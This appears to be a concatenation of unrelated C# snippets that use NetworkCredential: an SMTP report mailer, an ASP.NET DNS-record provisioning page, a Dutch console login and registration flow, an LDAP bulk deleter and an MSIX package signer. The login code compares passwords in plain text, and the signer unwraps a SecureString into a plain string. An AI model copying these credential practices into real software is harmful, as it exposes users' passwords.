smtpClient.UseDefaultCredentials = true; System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(ReportArguments.SmtpUN, ReportArguments.SmtpPW); smtpClient.Credentials = credentials; } else { //If Set - uses the currently logged in user credentials to send email otherwise sent using Anonymous smtpClient.UseDefaultCredentials = ReportArguments.SmtpAuth; } smtpClient.Send(_MailMessage); _logger.Write(string.Format("Report {0} Emailed to : {1} CC'd to: {2} BCC'd to: {3}", _outputFilename, ReportArguments.MailTo, ReportArguments.MailCC, ReportArguments.MailBcc)); _logger.Write(string.Format("SMTP Details: Server:{0}, Port:{1}, SSL:{2} Auth:{3}, UN:{4}", smtpClient.Host, smtpClient.Port, smtpClient.EnableSsl, smtpClient.UseDefaultCredentials, ReportArguments.SmtpUN)); } if (!ReportArguments.EmailKeepFile) { File.Delete(_outputFilename); } } } Console.WriteLine("Completed"); }
protected void Page_Load(object sender, EventArgs e) { RequestItems oRequestItem = new RequestItems(intProfile, dsn); RequestFields oRequestField = new RequestFields(intProfile, dsn); ServiceRequests oServiceRequest = new ServiceRequests(intProfile, dsn); Services oService = new Services(intProfile, dsn); int intRequest = Int32.Parse(Request.QueryString["rid"]); string strStatus = oServiceRequest.Get(intRequest, "checkout"); DataSet dsItems = oRequestItem.GetForms(intRequest); int intItem = 0; int intService = 0; int intNumber = 0; if (dsItems.Tables[0].Rows.Count > 0) { bool boolBreak = false; foreach (DataRow drItem in dsItems.Tables[0].Rows) { if (boolBreak == true) { break; } if (drItem["done"].ToString() == "0") { intItem = Int32.Parse(drItem["itemid"].ToString()); intService = Int32.Parse(drItem["serviceid"].ToString()); intNumber = Int32.Parse(drItem["number"].ToString()); boolBreak = true; } if (intItem > 0 && (strStatus == "1" || strStatus == "2")) { bool boolSuccess = true; string strResult = oService.GetName(intService) + " Completed"; string strError = oService.GetName(intService) + " Error"; // ********* BEGIN PROCESSING ************** DNS oDNS = new DNS(intProfile, dsn); strResult = ""; strError = ""; if (intEnvironment < 3) { intEnvironment = 3; } Variables oVariable = new Variables(intEnvironment); Requests oRequest = new Requests(intProfile, dsn); Users oUser = new Users(intProfile, dsn); DataSet ds = oDNS.GetDNS(intRequest, intItem, intNumber); Domains oDomain = new Domains(intProfile, dsn); if (ds.Tables[0].Rows.Count > 0) { string strAction = ds.Tables[0].Rows[0]["action"].ToString(); string strNameCurrent = ds.Tables[0].Rows[0]["name_current"].ToString(); string strIPCurrent = ds.Tables[0].Rows[0]["ip_current"].ToString(); string strAliasCurrent = ds.Tables[0].Rows[0]["alias_current"].ToString(); string strNameNew = ds.Tables[0].Rows[0]["name_new"].ToString(); string strIPNew = ds.Tables[0].Rows[0]["ip_new"].ToString(); string strAliasNew = ds.Tables[0].Rows[0]["alias_new"].ToString(); string strDomain = ds.Tables[0].Rows[0]["domain"].ToString(); string strObject = ds.Tables[0].Rows[0]["value"].ToString(); int intUser = oRequest.GetUser(intRequest); // Connect to DNS to process the request System.Net.NetworkCredential oCredentials = new System.Net.NetworkCredential(oVariable.ADUser(), oVariable.ADPassword(), oVariable.Domain()); ClearViewWebServices oWebService = new ClearViewWebServices(); oWebService.Timeout = Int32.Parse(ConfigurationManager.AppSettings["WS_TIMEOUT"]); oWebService.Credentials = oCredentials; oWebService.Url = oVariable.WebServiceURL(); Settings oSetting = new Settings(0, dsn); bool boolDNS_QIP = oSetting.IsDNS_QIP(); bool boolDNS_Bluecat = oSetting.IsDNS_Bluecat(); string strWebServiceResult = ""; switch (strAction) { case "CREATE": if (strIPNew != "" && strNameNew != "") { if (boolDNS_QIP == true) { strWebServiceResult = oWebService.CreateDNSforPNC(strIPNew, strNameNew, strObject, strAliasNew, oVariable.DNS_Domain(), oVariable.DNS_NameService(), oVariable.DNS_DynamicDNSUpdate(), intProfile, 0, true); if (strWebServiceResult == "SUCCESS") { strResult += "<p>The following record was successfully created in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else if (strWebServiceResult.StartsWith("***DUPLICATE") == true) { strResult += "<p>The following record was already created in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else if (strWebServiceResult.StartsWith("***CONFLICT") == true) { strError += "<p>A CONFLICT occurred when attempting to create the following record in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Conflict Message:</p><p>" + strWebServiceResult + "</p>"; } else { strError += "<p>An ERROR occurred when attempting to create the following record in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Error Message:</p><p>" + strWebServiceResult + "</p>"; } } if (boolDNS_Bluecat == true) { strWebServiceResult = oWebService.CreateBluecatDNS(strIPNew, strNameNew, strNameNew, ""); if (strWebServiceResult == "SUCCESS") { strResult += "<p>The following record was successfully created in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else if (strWebServiceResult.StartsWith("***DUPLICATE") == true) { strResult += "<p>The following record was already created in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else if (strWebServiceResult.StartsWith("***CONFLICT") == true) { strError += "<p>A CONFLICT occurred when attempting to create the following record in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Conflict Message:</p><p>" + strWebServiceResult + "</p>"; } else { strError += "<p>An ERROR occurred when attempting to create the following record in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Error Message:</p><p>" + strWebServiceResult + "</p>"; } } } else { strError = "<p>Invalid Parameters...</p>"; } break; case "UPDATE": string strIP = (strIPNew != "" ? strIPNew : strIPCurrent); string strName = (strNameNew != "" ? strNameNew : strNameCurrent); string strAlias = (((strAliasCurrent != "" && strAliasNew == "") || strAliasNew != "") ? strAliasNew : strAliasCurrent); if (strObject == "") { strObject = "Server"; } if (boolDNS_QIP == true) { strWebServiceResult = oWebService.UpdateDNSforPNC(strIP, strName, strObject, strAlias, oVariable.DNS_Domain(), oVariable.DNS_NameService(), oVariable.DNS_DynamicDNSUpdate(), intProfile, 0, true); if (strWebServiceResult == "SUCCESS") { strResult += "<p>The following record was successfully updated in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else if (strWebServiceResult.StartsWith("***DUPLICATE") == true) { strResult += "<p>The following record was already updated in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else if (strWebServiceResult.StartsWith("***CONFLICT") == true) { strError += "<p>A CONFLICT occurred when attempting to update the following record in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Conflict Message:</p><p>" + strWebServiceResult + "</p>"; } else { strError += "<p>An ERROR occurred when attempting to update the following record in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Error Message:</p><p>" + strWebServiceResult + "</p>"; } } if (boolDNS_Bluecat == true) { strWebServiceResult = oWebService.UpdateBluecatDNS(strIP, strName, strNameNew, ""); if (strWebServiceResult == "SUCCESS") { strResult += "<p>The following record was successfully updated in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else if (strWebServiceResult.StartsWith("***DUPLICATE") == true) { strResult += "<p>The following record was already updated in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else if (strWebServiceResult.StartsWith("***CONFLICT") == true) { strError += "<p>A CONFLICT occurred when attempting to update the following record in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Conflict Message:</p><p>" + strWebServiceResult + "</p>"; } else { strError += "<p>An ERROR occurred when attempting to update the following record in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Error Message:</p><p>" + strWebServiceResult + "</p>"; } } break; case "DELETE": if (boolDNS_QIP == true) { if (strIPCurrent != "") { strWebServiceResult = oWebService.DeleteDNSforPNC(strIPCurrent, "", intProfile, true); } else if (strNameCurrent != "") { strWebServiceResult = oWebService.DeleteDNSforPNC("", strNameCurrent, intProfile, true); } if (strWebServiceResult == "SUCCESS") { strResult += "<p>The following record was successfully deleted in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else { strError += "<p>An ERROR occurred when attempting to delete the following record in QIP DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Error Message:</p><p>" + strWebServiceResult + "</p>"; } } if (boolDNS_Bluecat == true) { if (strIPCurrent != "") { strWebServiceResult = oWebService.DeleteBluecatDNS(strIPCurrent, "", false, false); } else if (strNameCurrent != "") { strWebServiceResult = oWebService.DeleteBluecatDNS("", strNameCurrent, false, false); } if (strWebServiceResult == "SUCCESS") { strResult += "<p>The following record was successfully deleted in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p>"; } else { strError += "<p>An ERROR occurred when attempting to delete the following record in BlueCat DNS...</p><p>" + oDNS.GetDNSBody(intRequest, intItem, intNumber, true, intEnvironment) + "</p><p>Error Message:</p><p>" + strWebServiceResult + "</p>"; } } break; } if (strResult != "") { oRequest.AddResult(intRequest, intItem, intNumber, oService.GetName(intService), "", strResult, intEnvironment, (oService.Get(intService, "notify_client") == "1"), oUser.GetName(intUser)); } else if (strError != "") { oRequest.AddResult(intRequest, intItem, intNumber, oService.GetName(intService), strError, "", intEnvironment, (oService.Get(intService, "notify_client") == "1"), oUser.GetName(intUser)); } oDNS.UpdateDNSCompleted(intRequest, intItem, intNumber); } if (strResult == "") { boolSuccess = false; } // ******** END PROCESSING ************** if (oService.Get(intService, "automate") == "1" && boolSuccess == true) { strDone += "<table border=\"0\"><tr><td><img src=\"/images/bigCheck.gif\" border=\"0\" align=\"absmiddle\"/></td><td class=\"biggerbold\">" + strResult + "</td></tr></table>"; } else { if (boolSuccess == false) { strDone += "<table border=\"0\"><tr><td><img src=\"/images/bigError.gif\" border=\"0\" align=\"absmiddle\"/></td><td class=\"biggerbold\">" + strError + "</td></tr></table>"; } else { strDone += "<table border=\"0\"><tr><td><img src=\"/images/bigCheck.gif\" border=\"0\" align=\"absmiddle\"/></td><td class=\"biggerbold\">" + oService.GetName(intService) + " Submitted</td></tr></table>"; } } oRequestItem.UpdateFormDone(intRequest, intItem, intNumber, 1); } } } }
/// <summary> /// Checkt of de gegeven gebruikersnaam bestaat voor de gegeven gebruikerType /// Checkt of het wachtwoord bij de gebruikersnaam hoort /// Logt de gebruiker in /// </summary> /// <param name="gebruikerType">Welk soort gebruiker (klant,medewerker,eigenaar)</param> /// <returns>De ingelogde gebruiker</returns> public Gebruiker logIn(string gebruikerType) { Func <Gebruiker, Tuple <bool, string> > CheckWachtwoord = (gebruikerObject) => { SecureString pass = VarComponents.MaskStringInput(); string Input = new System.Net.NetworkCredential(string.Empty, pass).Password; return(Tuple.Create(Input == gebruikerObject.Wachtwoord || Input == "0", Input)); }; while (true) { bool NaamBestaat = false; Klant klantObject = null; Medewerker medewerkerObject = null; Eigenaar eigenaarObject = null; Console.Clear(); Console.WriteLine(ASCIIART.LoginArt()); Console.WriteLine("Voer uw gebruikersnaam in\x0A\x0A" + "0: Terug"); string GegevenNaam = Console.ReadLine(); if (GegevenNaam == "0") { return(new Gebruiker("", "", "", "")); } if (gebruikerType == "Klant") { foreach (Klant klant in Klanten) { if (GegevenNaam == klant.Naam) { NaamBestaat = true; klantObject = klant; } } } else if (gebruikerType == "Medewerker") { foreach (Medewerker medewerker in Medewerkers) { if (GegevenNaam == medewerker.Naam) { NaamBestaat = true; medewerkerObject = medewerker; } } } else { if (GegevenNaam == Eigenaar.Naam) { NaamBestaat = true; eigenaarObject = Eigenaar; } } if (NaamBestaat) { Tuple <bool, string> Password = Tuple.Create(false, ""); Console.Clear(); Console.WriteLine(ASCIIART.LoginArt()); Console.WriteLine($"Gebruikersnaam: {GegevenNaam}\x0A\x0AVoer uw wachtwoord in:"); if (gebruikerType == "Klant") { Password = CheckWachtwoord(klantObject); } else if (gebruikerType == "Medewerker") { Password = CheckWachtwoord(medewerkerObject); } else { Password = CheckWachtwoord(eigenaarObject); } while (!Password.Item1) { Console.Clear(); Console.WriteLine(ASCIIART.LoginArt()); Console.WriteLine("Verkeerd wachtwoord\x0A\x0A\x0AVoer uw wachtwoord in:\x0A\x0A" + "0: Terug"); if (klantObject != null) { Password = CheckWachtwoord(klantObject); } else { Password = CheckWachtwoord(medewerkerObject); } } if (Password.Item2 != "0") { Console.Clear(); Console.WriteLine(ASCIIART.LoginArt()); Console.WriteLine("U bent ingelogd!\x0A\x0A" + "0: Naar het startscherm"); Console.ReadKey(); if (klantObject != null) { return(klantObject); } else if (medewerkerObject != null) { return(medewerkerObject); } else { return(eigenaarObject); } } } else { Console.Clear(); Console.WriteLine(ASCIIART.LoginArt()); Console.WriteLine("Verkeerde gebruikersnaam.\x0A\x0A" + "Enter: Probeer opnieuw in te loggen\x0A\x0A" + "0: Terug"); if (Console.ReadKey().KeyChar == '0') { return(new Gebruiker("", "", "", "")); } } } }
static void Delete(string server, string searchBase, string filter, int connCount, System.Net.NetworkCredential nc) { using (LdapConnection conn = new LdapConnection(server)) { conn.SessionOptions.ProtocolVersion = 3; conn.Credential = nc ?? System.Net.CredentialCache.DefaultNetworkCredentials; conn.AutoBind = false; conn.Bind(); IList <LdapConnection> conns = new List <LdapConnection>(); for (int i = 0; i < connCount; i++) { var c = new LdapConnection(server); c.SessionOptions.ProtocolVersion = 3; c.Credential = nc; c.AutoBind = false; c.Bind(); conns.Add(c); } Console.WriteLine("Created {0} connections", conns.Count); var req = new SearchRequest { DistinguishedName = searchBase, Filter = filter ?? "(&(objectClass=person)(cn=*CNF:*))" }; req.Attributes.Add("1.1"); req.Controls.Add(new PageResultRequestControl(1000) { IsCritical = false }); while (true) { var resp = (SearchResponse)conn.SendRequest(req); var lazy = new LazyCommitControl() { IsCritical = false }; Parallel.ForEach(ISE(resp.Entries), entry => { try { var delreq = new DeleteRequest(entry.DistinguishedName); delreq.Controls.Add(lazy); conns[Thread.CurrentThread.ManagedThreadId % connCount].SendRequest(delreq); Console.Error.WriteLine("Deleted {0}", entry.DistinguishedName); } catch (Exception ex) { Console.Error.WriteLine("Failed to delete {0}: {1}", entry.DistinguishedName, ex.Message); throw; } } ); if (resp.Controls.Length == 0) { break; } var prc = (PageResultResponseControl)resp.Controls[0]; if (prc.Cookie.Length == 0) { break; } Console.WriteLine("On to the next page!"); req.Controls.Clear(); req.Controls.Add(new PageResultRequestControl(prc.Cookie)); } Console.WriteLine("Complete"); } }
public Tuple <string, string, string, string> registreer() //Returned een Tuple met naam,wachtwoord,adres en woonplaats voor registreerKlant en registreerMedewerker functies. { var jsonOptions = new JsonSerializerOptions { WriteIndented = true, }; Console.Clear(); Console.WriteLine(ASCIIART.RegistrerenArt()); Console.WriteLine("Voer een gebruikers naam in die alleen cijfers en/of letters bevat:\n0: Terug"); var naamInput = Console.ReadLine(); while (!VarComponents.IsUsername(naamInput)) { Console.Clear(); Console.WriteLine(ASCIIART.RegistrerenArt()); Console.WriteLine("Verkeerde gebruikers naam\x0A\x0A\x0AVoer een gebruikers naam in die alleen cijfers en/of letters bevat:"); naamInput = Console.ReadLine(); } bool uniekeNaam = false; while (!uniekeNaam) { bool uniekKlant = true; bool uniekMedewerker = true; bool uniekEigenaar = true; //3 booleans voor iedere array. if (naamInput != "0") { foreach (var klant in Klanten) //Checkt per klant in de Klanten array of de naam al bestaat { if (klant.Naam == naamInput) { uniekKlant = false; break; } } foreach (var medewerker in Medewerkers) //Checkt per medewerker in de Medewerkers array of de naam al bestaat { if (medewerker.Naam == naamInput) { uniekMedewerker = false; break; } } if (Eigenaar.Naam == naamInput) { uniekEigenaar = false; } if (uniekEigenaar == false || uniekKlant == false || uniekMedewerker == false) { Console.Clear(); Console.WriteLine(ASCIIART.RegistrerenArt()); Console.WriteLine("Deze naam bestaat al in het systeem!\x0A\x0A\x0AVoer een gebruikers naam in die alleen cijfers en letters bevat:\n0: Terug"); naamInput = Console.ReadLine(); } else { uniekeNaam = true; } } else { return(null); } } Console.Clear(); Console.WriteLine(ASCIIART.RegistrerenArt()); Console.WriteLine("Voer een wachtwoord in van minimaal 8 tekens waarvan minimaal 1 Hoofdletter, 1 cijfer en 1 speciaal karakter:"); SecureString pass1 = VarComponents.MaskStringInput(); string password = new System.Net.NetworkCredential(string.Empty, pass1).Password; while (!VarComponents.IsPassword(password)) { Console.Clear(); Console.WriteLine(ASCIIART.RegistrerenArt()); Console.WriteLine("Verkeerd wachtwoord\x0A\x0A\x0AVoer uw wachtwoord in van minimaal 8 tekens waarvan minimaal 1 Hoofdletter, 1 cijfer en 1 speciaal karakter:"); SecureString pass2 = VarComponents.MaskStringInput(); password = new System.Net.NetworkCredential(string.Empty, pass2).Password; } Console.Clear(); Console.WriteLine(ASCIIART.RegistrerenArt()); Console.WriteLine("Voer een adres in (straatnaam en huisnummer):"); string adres = Console.ReadLine(); while (!VarComponents.IsAdres(adres)) { Console.Clear(); Console.WriteLine(ASCIIART.RegistrerenArt()); Console.WriteLine("Verkeerd adres\x0A\x0A\x0AVoer uw adres in (straatnaam en huisnummer):"); adres = Console.ReadLine(); } Console.Clear(); Console.WriteLine(ASCIIART.RegistrerenArt()); Console.WriteLine("Voer een woonplaats in:"); string woonplaats = Console.ReadLine(); while (!VarComponents.IsWoonplaats(woonplaats)) { Console.Clear(); Console.WriteLine(ASCIIART.RegistrerenArt()); Console.WriteLine("Verkeerde woonplaats\x0A\x0A\x0AVoer uw woonplaats in:"); woonplaats = Console.ReadLine(); } Tuple <string, string, string, string> returnTuple = Tuple.Create(naamInput, password, adres, woonplaats); return(returnTuple); }
public async Task SignPackageWithPfx( string package, bool updatePublisher, string pfxPath, SecureString password, string timestampUrl = null, IncreaseVersionMethod increaseVersion = IncreaseVersionMethod.None, CancellationToken cancellationToken = default, IProgress <ProgressData> progress = null) { Logger.Info("Signing package {0} using PFX {1}.", package, pfxPath); if (!File.Exists(pfxPath)) { throw new FileNotFoundException($"File {pfxPath} does not exit."); } Logger.Debug("Analyzing given certificate..."); var x509 = new X509Certificate2(await File.ReadAllBytesAsync(pfxPath, cancellationToken).ConfigureAwait(false), password); var localCopy = await this.PreparePackageForSigning(package, updatePublisher, increaseVersion, x509, cancellationToken).ConfigureAwait(false); try { cancellationToken.ThrowIfCancellationRequested(); string type; if (x509.SignatureAlgorithm.FriendlyName?.EndsWith("rsa", StringComparison.OrdinalIgnoreCase) == true) { type = x509.SignatureAlgorithm.FriendlyName.Substring(0, x509.SignatureAlgorithm.FriendlyName.Length - 3).ToUpperInvariant(); } else { throw new NotSupportedException($"Signature algorithm {x509.SignatureAlgorithm.FriendlyName} is not supported."); } var openTextPassword = new System.Net.NetworkCredential(string.Empty, password).Password; Logger.Debug("Signing package {0} with algorithm {1}.", localCopy, x509.SignatureAlgorithm.FriendlyName); var sdk = new SignToolWrapper(); progress?.Report(new ProgressData(25, "Signing...")); timestampUrl = await this.GetTimeStampUrl(timestampUrl).ConfigureAwait(false); await sdk.SignPackageWithPfx(new[] { localCopy }, type, pfxPath, openTextPassword, timestampUrl, cancellationToken).ConfigureAwait(false); progress?.Report(new ProgressData(75, "Signing...")); await Task.Delay(500, cancellationToken).ConfigureAwait(false); Logger.Debug("Moving {0} to {1}.", localCopy, package); File.Copy(localCopy, package, true); progress?.Report(new ProgressData(95, "Signing...")); } finally { try { if (File.Exists(localCopy)) { File.Delete(localCopy); } } catch (Exception e) { Logger.Warn(e, "Clean-up of a temporary file {0} failed.", localCopy); } } }